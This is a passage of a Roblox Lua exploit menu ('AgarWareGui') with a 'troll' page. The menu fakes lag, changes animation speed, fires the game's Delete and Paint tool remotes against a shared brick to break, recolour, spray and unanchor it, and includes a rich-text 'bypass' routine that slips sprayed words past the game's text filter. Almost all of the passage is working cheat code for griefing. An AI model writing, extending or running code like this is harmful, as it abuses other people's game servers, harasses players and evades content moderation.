parent.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "FakeLagTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipText = Instance.new("TextLabel") tooltipText.BackgroundTransparency = 1 tooltipText.Text = "Simulates lag by freezing your character. Lower speed = more lag." tooltipText.TextColor3 = Color3.new(1, 1, 1) tooltipText.TextSize = 14 tooltipText.TextXAlignment = Enum.TextXAlignment.Left tooltipText.TextYAlignment = Enum.TextYAlignment.Top tooltipText.Font = Enum.Font.GothamSemibold tooltipText.TextWrapped = true tooltipText.AutomaticSize = Enum.AutomaticSize.XY tooltipText.Size = UDim2.new(0, 200, 0, 0) tooltipText.ZIndex = 101 tooltipText.Parent = tooltipFrame FakeLagTickBox.MouseEnter:Connect(function() local abs = FakeLagTickBox.AbsolutePosition local size = FakeLagTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) FakeLagTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) FakeLagChanger.FocusLost:Connect(function() local num = tonumber(FakeLagChanger.Text) if num and num > 0 then lagSpeed = num else FakeLagChanger.Text = tostring(lagSpeed) end end) local function fakeLagLoop() while isEnabled do local char = LocalPlayer.Character if char and char:FindFirstChild("HumanoidRootPart") then local root = char.HumanoidRootPart local freezeTime = math.clamp(0.8 / (lagSpeed * 3), 0.05, 0.8) local unfreezeTime = math.clamp(0.2 / (lagSpeed * 3), 0.05, 0.5) root.Anchored = true task.wait(freezeTime) root.Anchored = false task.wait(unfreezeTime) else task.wait(0.2) end end end local function enableFakeLag() isEnabled = true FakeLagTickBox.BackgroundColor3 = getAccent() lagLoop = task.spawn(fakeLagLoop) end local function disableFakeLag() isEnabled = false FakeLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0) local char = LocalPlayer.Character if char and char:FindFirstChild("HumanoidRootPart") then char.HumanoidRootPart.Anchored = false end end FakeLagTickBox.MouseButton1Click:Connect(function() if isEnabled then disableFakeLag() else enableFakeLag() end end) LocalPlayer.CharacterAdded:Connect(function() if isEnabled then task.wait(0.5) lagLoop = task.spawn(fakeLagLoop) end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disableFakeLag() tooltipFrame:Destroy() end end) end; task.spawn(C_11d); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedScript local function C_122() local script = G2L["122"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local AnimSpeedRow = script.Parent local AnimSpeedTickBox = AnimSpeedRow.AnimSpeedTickBox local AnimSpeedChanger = AnimSpeedRow.AnimSpeedChanger local MiscGroup = AnimSpeedRow.Parent local MiscAccentColor = MiscGroup.MiscAccentColor local isEnabled = false local speedConnection = nil local animSpeed = 1 local DEFAULT_SPEED = 1 local function getAccent() return MiscAccentColor.BackgroundColor3 end local function getScreenGui() local parent = AnimSpeedRow while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "AnimSpeedTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipText = Instance.new("TextLabel") tooltipText.BackgroundTransparency = 1 tooltipText.Text = "Changes your animation speed. Set to 0 to freeze animations, higher = faster." tooltipText.TextColor3 = Color3.new(1, 1, 1) tooltipText.TextSize = 14 tooltipText.TextXAlignment = Enum.TextXAlignment.Left tooltipText.TextYAlignment = Enum.TextYAlignment.Top tooltipText.Font = Enum.Font.GothamSemibold tooltipText.TextWrapped = true tooltipText.AutomaticSize = Enum.AutomaticSize.XY tooltipText.Size = UDim2.new(0, 200, 0, 0) tooltipText.ZIndex = 101 tooltipText.Parent = tooltipFrame AnimSpeedTickBox.MouseEnter:Connect(function() local abs = AnimSpeedTickBox.AbsolutePosition local size = AnimSpeedTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) AnimSpeedTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) local function getSpeed() local num = tonumber(AnimSpeedChanger.Text) if num == nil then return animSpeed end if num < 0 then return animSpeed end return num end local function applyAnimSpeed(speed) local character = LocalPlayer.Character if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do track:AdjustSpeed(speed) end end local function enableAnimSpeed() isEnabled = true AnimSpeedTickBox.BackgroundColor3 = getAccent() speedConnection = RunService.Heartbeat:Connect(function() applyAnimSpeed(getSpeed()) end) end local function disableAnimSpeed() isEnabled = false AnimSpeedTickBox.BackgroundColor3 = Color3.new(0, 0, 0) if speedConnection then speedConnection:Disconnect() speedConnection = nil end applyAnimSpeed(DEFAULT_SPEED) end AnimSpeedTickBox.MouseButton1Click:Connect(function() if isEnabled then disableAnimSpeed() else enableAnimSpeed() end end) AnimSpeedChanger.FocusLost:Connect(function() if AnimSpeedChanger.Text == "" then return end local num = tonumber(AnimSpeedChanger.Text) if num == nil or num < 0 then AnimSpeedChanger.Text = tostring(animSpeed) else animSpeed = num end end) LocalPlayer.CharacterAdded:Connect(function() if isEnabled then task.wait(0.5) enableAnimSpeed() end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disableAnimSpeed() tooltipFrame:Destroy() end end) end; task.spawn(C_122); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepScript local function C_132() local script = G2L["132"]; local RepGroup = script.Parent local RepMinimize = RepGroup.RepTitle.RepMinimize local RepRepRow = RepGroup:FindFirstChild("RepRepRow") local function getRows() local rows = {} for _, child in ipairs(RepGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = RepGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) RepMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then RepGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end -- Hide RepRepRow itself if RepRepRow then RepRepRow.Visible = false end RepMinimize.Text = "+" else RepGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end -- Show RepRepRow if RepRepRow then RepRepRow.Visible = true end RepMinimize.Text = "-" end end) end; task.spawn(C_132); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTooltip local function C_133() local script = G2L["133"]; -- ============================================================ -- REP BRICK TOOLTIP SCRIPT -- ============================================================ local RepGroup = script.Parent -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND UI REFERENCES -- ============================================================ local function findDescendant(name) for _, v in pairs(ScreenGui:GetDescendants()) do if v.Name == name then return v end end end local UnanchorRepTickBox = findDescendant("UnanchorRepTickBox") local RichTextRepTickBox = findDescendant("RichTextRepTickBox") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIPS -- ============================================================ local unanchorTooltip = makeTooltip( "When enabled, all blocks that are placed will be unanchored. When disabled, all blocks that are placed will be anchored." ) local richTextTooltip = makeTooltip( "Enabling this lets you bypass words in the spray but this will sometimes fail and tag." ) -- ============================================================ -- HOOK THEM -- ============================================================ hookTooltip(UnanchorRepTickBox, unanchorTooltip) hookTooltip(RichTextRepTickBox, richTextTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then unanchorTooltip:Destroy() richTextTooltip:Destroy() end end) end; task.spawn(C_133); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixScript local function C_139() local script = G2L["139"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local BKitFixRow = script.Parent local BKitFixButton = BKitFixRow.BKitFixButton local BKitFixHelp = BKitFixRow.BKitFixHelp local originalText = BKitFixButton.Text -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end -- ============================================================ -- TOOLTIP SETUP -- ============================================================ local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke", tooltipFrame) tooltipStroke.Color = Color3.fromRGB(57, 57, 57) local tooltipPadding = Instance.new("UIPadding", tooltipFrame) tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) local tooltipLabel = Instance.new("TextLabel", tooltipFrame) tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Fixes Bkit tools not working properly. Fixing it only works on you, and you can only build on existing blocks" tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 BKitFixHelp.MouseEnter:Connect(function() local abs = BKitFixHelp.AbsolutePosition local size = BKitFixHelp.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) BKitFixHelp.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -- ============================================================ -- FIX FUNCTION -- Finds any tool in character or backpack and resets its script -- No need to hold tool out -- ============================================================ local function fixBkit() local rs = game:GetService("ReplicatedStorage") if not rs:FindFirstChild("Brick") then local brick = Instance.new("Part") brick.Name = "Brick" brick.Parent = rs end local character = LocalPlayer.Character if not character then return end local function resetToolScript(tool) local s = tool:FindFirstChild("Script") if s then s.Disabled = true task.wait() s.Disabled = false end end -- Reset scripts in character (equipped tools) for _, v in pairs(character:GetChildren()) do if v:IsA("Tool") then resetToolScript(v) end end -- Reset scripts in backpack (unequipped tools) for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") then resetToolScript(v) end end end local function onCharacterAdded(character) task.wait(1) fixBkit() end if LocalPlayer.Character then onCharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:Connect(onCharacterAdded) -- ============================================================ -- BUTTON CLICK -- ============================================================ BKitFixButton.MouseButton1Click:Connect(function() BKitFixButton.Text = "FIXING..." task.spawn(function() local success, err = pcall(fixBkit) if success then BKitFixButton.Text = "FIXED!" task.wait(3) BKitFixButton.Text = originalText else BKitFixButton.Text = "FAILED" task.wait(3) BKitFixButton.Text = originalText end end) end) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_139); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow.BKitBreakScript local function C_13d() local script = G2L["13d"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local BKitBreakRow = script.Parent local BKitBreakButton = BKitBreakRow.BKitBreakButton local originalText = BKitBreakButton.Text BKitBreakButton.MouseButton1Click:Connect(function() BKitBreakButton.Text = "BREAKING..." task.spawn(function() local success, err = pcall(function() local character = LocalPlayer.Character if not character then error("No character") end local humanoid = character:FindFirstChild("Humanoid") if not humanoid then error("No humanoid") end -- Find delete tool in backpack local deleteTool = LocalPlayer.Backpack:FindFirstChild("Delete") if not deleteTool then error("Delete tool not found in backpack") end -- Save currently equipped tool local previousTool = character:FindFirstChildOfClass("Tool") -- Equip Delete tool humanoid:EquipTool(deleteTool) task.wait(0.1) -- Wait for tool to equip -- Get the event from the equipped tool local event = deleteTool:WaitForChild("Script"):WaitForChild("Event") -- Get Brick from ReplicatedStorage local rs = game:GetService("ReplicatedStorage") local brick = rs:FindFirstChild("Brick") if not brick then error("No Brick in ReplicatedStorage") end -- Fire delete event event:FireServer(brick, character.HumanoidRootPart.Position) task.wait(0.1) -- Unequip Delete tool humanoid:UnequipTools() -- Re-equip previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then humanoid:EquipTool(previousTool) end end) if success then BKitBreakButton.Text = "BROKEN!" task.wait(3) BKitBreakButton.Text = originalText else BKitBreakButton.Text = "FAILED" warn("[BKitBreak] Error:", err) task.wait(3) BKitBreakButton.Text = originalText end end) end) end; task.spawn(C_13d); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepChanger.SprayRepScript local function C_142() local script = G2L["142"]; local SprayRepRow = script.Parent.Parent local SprayRepChanger = SprayRepRow:WaitForChild("SprayRepChanger") local RepGroup = SprayRepRow.Parent local RichTextRepRow = RepGroup:FindFirstChild("RichTextRepRow") -- Store spray text local sprayText = "" -- ============================================================ -- TEXT BYPASS (made by Normalxsx/2AreYouMental110) -- ============================================================ local function bypassText(txt) if txt == nil or txt == "" then return "" end local bypassmarkups = {} local alphabet = "acdefghjklmnopqrtvwxyz" for i = 1, string.len(alphabet) do table.insert(bypassmarkups, string.sub(alphabet, i, i)) end local returntxt = "" for i = 1, string.len(txt) do local char = string.sub(txt, i, i) if i % 2 == 0 then returntxt = returntxt .. char else local selectedmarkup = bypassmarkups[math.random(1, #bypassmarkups)] returntxt = returntxt .. "<" .. selectedmarkup .. ">" .. char .. "" end end return returntxt end -- ============================================================ -- TEXT CHANGED -- ============================================================ SprayRepChanger:GetPropertyChangedSignal("Text"):Connect(function() local text = SprayRepChanger.Text -- If empty or placeholder, set to empty if text == "" or text == SprayRepChanger.PlaceholderText then sprayText = "" else -- Check if RichText is enabled local isRichTextEnabled = RichTextRepRow and RichTextRepRow:GetAttribute("RichTextEnabled") if isRichTextEnabled then -- Apply bypass to the text sprayText = bypassText(text) else -- Use text as-is without bypass sprayText = text end end -- Store in attribute for ApplyChanges to read SprayRepRow:SetAttribute("SprayText", sprayText) end) -- ============================================================ -- INITIALIZE -- ============================================================ SprayRepRow:SetAttribute("SprayText", "") print("[SprayRep] Initialized - Empty by default") end; task.spawn(C_142); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow.APPLYCHANGESScript local function C_144() local script = G2L["144"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local APPLYCHANGESRow = script.Parent local APPLYCHANGESButton = APPLYCHANGESRow:WaitForChild("APPLYCHANGESButton") local RepGroup = APPLYCHANGESRow.Parent local ColorRepRow = RepGroup:FindFirstChild("ColorRepRow") local UnanchorRepRow = RepGroup:FindFirstChild("UnanchorRepRow") local SprayRepRow = RepGroup:FindFirstChild("SprayRepRow") local SprayColorRepRow = RepGroup:FindFirstChild("SprayColorRepRow") local MaterialRepRow = RepGroup:FindFirstChild("MaterialRepRow") local originalText = APPLYCHANGESButton.Text local isPainting = false local cancelPainting = false -- ============================================================ -- GET TOOLS AND EVENTS -- ============================================================ local function getPaintTool() return LocalPlayer.Backpack:FindFirstChild("Paint") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint")) end local function getPaintEvent() local tool = getPaintTool() if tool then return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") end return nil end local function getRepBrick() local repStorage = game:GetService("ReplicatedStorage") return repStorage:FindFirstChild("Brick") end -- ============================================================ -- EQUIP PAINT TOOL -- ============================================================ local function equipPaintTool() local paintTool = LocalPlayer.Backpack:FindFirstChild("Paint") if not paintTool then return false, "Paint tool not found in backpack" end local character = LocalPlayer.Character if not character then return false, "No character" end local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return false, "No humanoid" end -- Equip Paint tool if not already equipped if not character:FindFirstChild("Paint") then humanoid:EquipTool(paintTool) task.wait(0.1) end return true end -- ============================================================ -- PAINT REP BRICK -- ============================================================ local function paintRepBrick() if isPainting then -- Cancel current painting cancelPainting = true return end isPainting = true cancelPainting = false APPLYCHANGESButton.Text = "Painting Block..." task.spawn(function() local success, errorMsg = pcall(function() -- Get selected color local selectedColor = ColorRepRow and ColorRepRow:GetAttribute("SelectedColor") if not selectedColor then selectedColor = Color3.fromRGB(192, 192, 192) -- Default gray end -- Get rep brick local repBrick = getRepBrick() if not repBrick then error("Rep brick not found in ReplicatedStorage") end -- Save currently equipped tool local character = LocalPlayer.Character if not character then error("No character") end local previousTool = character:FindFirstChildOfClass("Tool") local wasPaintEquipped = previousTool and previousTool.Name == "Paint" -- Equip paint tool if not already equipped if not wasPaintEquipped then local equipped, equipError = equipPaintTool() if not equipped then error(equipError) end end -- Get paint event local paintEvent = getPaintEvent() if not paintEvent then error("Paint event not found") end -- Paint all 6 sides (just color, no toxify) local sides = { Enum.NormalId.Front, Enum.NormalId.Right, Enum.NormalId.Back, Enum.NormalId.Left, Enum.NormalId.Top, Enum.NormalId.Bottom } for i, side in ipairs(sides) do -- Check if cancelled if cancelPainting then error("Cancelled") end pcall(function() paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", selectedColor, "", "") end) task.wait(0.05) end -- Apply material local selectedMaterial = MaterialRepRow and MaterialRepRow:GetAttribute("SelectedMaterial") if selectedMaterial and selectedMaterial ~= "" then -- Apply material on one side (it applies to whole block) pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", selectedColor, selectedMaterial, "") end) task.wait(0.1) end -- Get spray text local sprayText = SprayRepRow and SprayRepRow:GetAttribute("SprayText") -- Always clear spray first (whether adding new text or removing it) for i, side in ipairs(sides) do -- Check if cancelled if cancelPainting then error("Cancelled") end -- Retry clearing spray on each side for retry = 1, 2 do pcall(function() paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", selectedColor, "spray", "") end) task.wait(0.03) end end -- Then apply new spray text if it exists if sprayText and sprayText ~= "" then -- Get spray color (default to white if not set) local sprayColor = SprayColorRepRow and SprayColorRepRow:GetAttribute("SelectedColor") if not sprayColor then sprayColor = Color3.new(1, 1, 1) -- Default white end -- Spray text on all 6 sides with selected color for i, side in ipairs(sides) do -- Check if cancelled if cancelPainting then error("Cancelled") end -- Retry spraying on each side to ensure it shows for retry = 1, 2 do pcall(function() paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", sprayColor, "spray", sprayText) end) task.wait(0.03) end end end -- Handle anchoring/unanchoring local shouldUnanchor = UnanchorRepRow and UnanchorRepRow:GetAttribute("UnanchorEnabled") if shouldUnanchor ~= nil then -- Check current anchor state local isCurrentlyAnchored = repBrick.Anchored if shouldUnanchor and isCurrentlyAnchored then -- Clear spray on Top side first (so anchor event works) pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", selectedColor, "spray", "") end) task.wait(0.1) -- Unanchor the brick pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "") end) task.wait(0.1) -- Re-apply spray on Top side if there was text if sprayText and sprayText ~= "" then pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", Color3.new(1, 1, 1), "spray", sprayText) end) task.wait(0.05) end elseif not shouldUnanchor and not isCurrentlyAnchored then -- Clear spray on Top side first (so anchor event works) pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", selectedColor, "spray", "") end) task.wait(0.1) -- Anchor the brick pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "") end) task.wait(0.1) -- Re-apply spray on Top side if there was text if sprayText and sprayText ~= "" then pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", Color3.new(1, 1, 1), "spray", sprayText) end) task.wait(0.05) end end end -- Restore previous tool or unequip if not wasPaintEquipped then local humanoid = character:FindFirstChild("Humanoid") if humanoid then humanoid:UnequipTools() task.wait(0.1) -- Re-equip previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then humanoid:EquipTool(previousTool) end end end end) isPainting = false if cancelPainting then APPLYCHANGESButton.Text = "Cancelled" task.wait(1) elseif success then APPLYCHANGESButton.Text = "Applied!" task.wait(2) else APPLYCHANGESButton.Text = "Paint tool not found!" warn("[ApplyChanges] Error:", errorMsg) task.wait(2) end APPLYCHANGESButton.Text = originalText cancelPainting = false end) end -- ============================================================ -- BUTTON CLICK -- ============================================================ APPLYCHANGESButton.MouseButton1Click:Connect(paintRepBrick) end; task.spawn(C_144); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepScript local function C_147() local script = G2L["147"]; local UnanchorRepRow = script.Parent local UnanchorRepTickBox = UnanchorRepRow:WaitForChild("UnanchorRepTickBox") local function getAccentColor() local RepGroup = UnanchorRepRow.Parent local a = RepGroup:FindFirstChild("RepAccentColor") return a and a.BackgroundColor3 or Color3.new(1, 1, 1) end -- State local isEnabled = false -- ============================================================ -- TOGGLE -- ============================================================ local function toggle() isEnabled = not isEnabled if isEnabled then UnanchorRepTickBox.BackgroundColor3 = getAccentColor() else UnanchorRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end -- Store in attribute for ApplyChanges to read UnanchorRepRow:SetAttribute("UnanchorEnabled", isEnabled) end -- ============================================================ -- CLICK HANDLER -- ============================================================ UnanchorRepTickBox.MouseButton1Click:Connect(toggle) -- ============================================================ -- INITIALIZE -- ============================================================ UnanchorRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0) UnanchorRepRow:SetAttribute("UnanchorEnabled", false) print("[UnanchorRep] OFF by default") end; task.spawn(C_147); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow.MaterialRepScript local function C_14d() local script = G2L["14d"]; local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local MaterialRepRow = script.Parent local MaterialRepDropdown = MaterialRepRow:WaitForChild("MaterialRepDropdown") local selectedMaterial = "Smooth" local isOpen = false local ROW_HEIGHT = 16 local MAX_ROWS = 7 local BG = Color3.fromRGB(24, 24, 24) local BORDER = Color3.fromRGB(57, 57, 57) local WHITE = Color3.new(1, 1, 1) local DIM = Color3.fromRGB(120, 120, 120) local BLUE = Color3.fromRGB(0, 123, 255) local HOVER = Color3.fromRGB(36, 36, 36) local MATERIALS = { "Smooth", "Plastic", "Tiles", "Bricks", "Planks", "Ice", "Grass", "Sand", "Snow", "Glass", "Wood", "Stone", "Pebble", "Marble", "Granite", "Steel", "Metal", "Asphalt", "Concrete", "Pavement", "Neon", "Toxic" } if not game:IsLoaded() then game.Loaded:Wait() end repeat task.wait() until MaterialRepDropdown.AbsoluteSize.X > 0 local mainLabel = Instance.new("TextLabel") mainLabel.Name = "MainLabel" mainLabel.Size = UDim2.new(1, -24, 1, 0) mainLabel.BackgroundTransparency = 1 mainLabel.Text = "Smooth" mainLabel.TextColor3 = WHITE mainLabel.TextSize = 14 mainLabel.Font = Enum.Font.Code mainLabel.TextXAlignment = Enum.TextXAlignment.Center mainLabel.TextTruncate = Enum.TextTruncate.AtEnd mainLabel.ZIndex = 2 mainLabel.Parent = MaterialRepDropdown local mainArrow = Instance.new("TextLabel") mainArrow.Name = "MainArrow" mainArrow.Size = UDim2.new(0, 24, 1, 0) mainArrow.Position = UDim2.new(1, -24, 0, 0) mainArrow.BackgroundTransparency = 1 mainArrow.Text = "▼" mainArrow.TextColor3 = WHITE mainArrow.TextSize = 14 mainArrow.Font = Enum.Font.Code mainArrow.TextXAlignment = Enum.TextXAlignment.Center mainArrow.ZIndex = 2 mainArrow.Parent = MaterialRepDropdown local function getScreenGui() local p = MaterialRepRow while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local panel = Instance.new("Frame") panel.BackgroundColor3 = BG panel.BorderSizePixel = 0 panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT) panel.ZIndex = 999 panel.Visible = false panel.Parent = getScreenGui() local panelStroke = Instance.new("UIStroke") panelStroke.Color = BORDER panelStroke.Thickness = 1 panelStroke.Parent = panel local searchBox = Instance.new("TextBox") searchBox.Size = UDim2.new(1, 0, 0, ROW_HEIGHT) searchBox.BackgroundColor3 = BG searchBox.BorderSizePixel = 0 searchBox.Text = "" searchBox.PlaceholderText = "Search materials..." searchBox.PlaceholderColor3 = DIM searchBox.TextColor3 = WHITE searchBox.TextSize = 14 searchBox.Font = Enum.Font.Code searchBox.TextXAlignment = Enum.TextXAlignment.Left searchBox.ClearTextOnFocus = false searchBox.ZIndex = 1000 searchBox.Parent = panel local searchPad = Instance.new("UIPadding") searchPad.PaddingLeft = UDim.new(0, 6) searchPad.PaddingRight = UDim.new(0, 24) searchPad.Parent = searchBox local searchArrow = Instance.new("TextButton") searchArrow.Size = UDim2.new(0, 24, 0, ROW_HEIGHT) searchArrow.Position = UDim2.new(1, -24, 0, 0) searchArrow.BackgroundTransparency = 1 searchArrow.Text = "▲" searchArrow.TextColor3 = WHITE searchArrow.TextSize = 14 searchArrow.Font = Enum.Font.Code searchArrow.BorderSizePixel = 0 searchArrow.ZIndex = 1001 searchArrow.Parent = panel local scrollFrame = Instance.new("ScrollingFrame") scrollFrame.Position = UDim2.new(0, 0, 0, ROW_HEIGHT) scrollFrame.Size = UDim2.new(1, 0, 0, 0) scrollFrame.BackgroundTransparency = 1 scrollFrame.BorderSizePixel = 0 scrollFrame.ScrollBarThickness = 2 scrollFrame.ScrollBarImageColor3 = BORDER scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0) scrollFrame.ZIndex = 1000 scrollFrame.Parent = panel local listLayout = Instance.new("UIListLayout") listLayout.SortOrder = Enum.SortOrder.LayoutOrder listLayout.Parent = scrollFrame local function updatePanelSize(rowCount) local visibleRows = math.min(rowCount, MAX_ROWS) local scrollH = visibleRows * ROW_HEIGHT scrollFrame.Size = UDim2.new(1, 0, 0, scrollH) panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT + scrollH) scrollFrame.CanvasSize = UDim2.new(0, 0, 0, rowCount * ROW_HEIGHT) end local function buildList(filter) for _, child in pairs(scrollFrame:GetChildren()) do if child:IsA("Frame") then child:Destroy() end end local filtered = {} for _, mat in ipairs(MATERIALS) do if filter == "" or 